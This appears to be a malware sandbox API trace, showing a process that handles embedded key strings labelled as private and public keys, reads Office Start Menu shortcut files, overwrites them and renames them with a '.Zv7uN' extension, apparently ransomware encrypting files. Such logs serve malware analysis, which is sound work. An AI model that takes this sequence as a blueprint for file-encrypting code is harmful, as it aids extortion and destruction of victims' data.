lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0134.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f2b28c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0134.039] GetCurrentThreadId () returned 0xa30 [0134.039] GetCurrentThreadId () returned 0xa30 [0134.039] GetCurrentThreadId () returned 0xa30 [0134.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0134.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3c2ec, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0134.040] GetCurrentThreadId () returned 0xa30 [0134.040] GetCurrentThreadId () returned 0xa30 [0134.106] GetCurrentThreadId () returned 0xa30 [0134.107] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.107] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0134.107] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.107] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xabf [0134.107] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.107] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f440f0, nNumberOfBytesToRead=0xabf, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f440f0*, lpNumberOfBytesRead=0x18f108*=0xabf, lpOverlapped=0x0) returned 1 [0134.110] CloseHandle (hObject=0x1dc) returned 1 [0134.110] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.113] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f46120*, nNumberOfBytesToWrite=0xabf, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f46120*, lpNumberOfBytesWritten=0x18f114*=0xabf, lpOverlapped=0x0) returned 1 [0134.115] CloseHandle (hObject=0x1dc) returned 1 [0134.115] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk.zv7un")) returned 1 [0134.116] GetCurrentThreadId () returned 0xa30 [0134.116] GetCurrentThreadId () returned 0xa30 [0134.116] GetCurrentThreadId () returned 0xa30 [0134.116] GetCurrentThreadId () returned 0xa30 [0134.117] GetCurrentThreadId () returned 0xa30 [0134.117] GetCurrentThreadId () returned 0xa30 [0134.117] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office 2010 Upload Center.lnk", cAlternateFileName="MICROS~3.LNK")) returned 1 [0134.117] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.117] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.117] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc119ff40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb15)) returned 1 [0134.117] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 upload center.lnk")) returned 0x20 [0134.117] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Upload Center.lnk", dwFileAttributes=0x80) returned 1 [0134.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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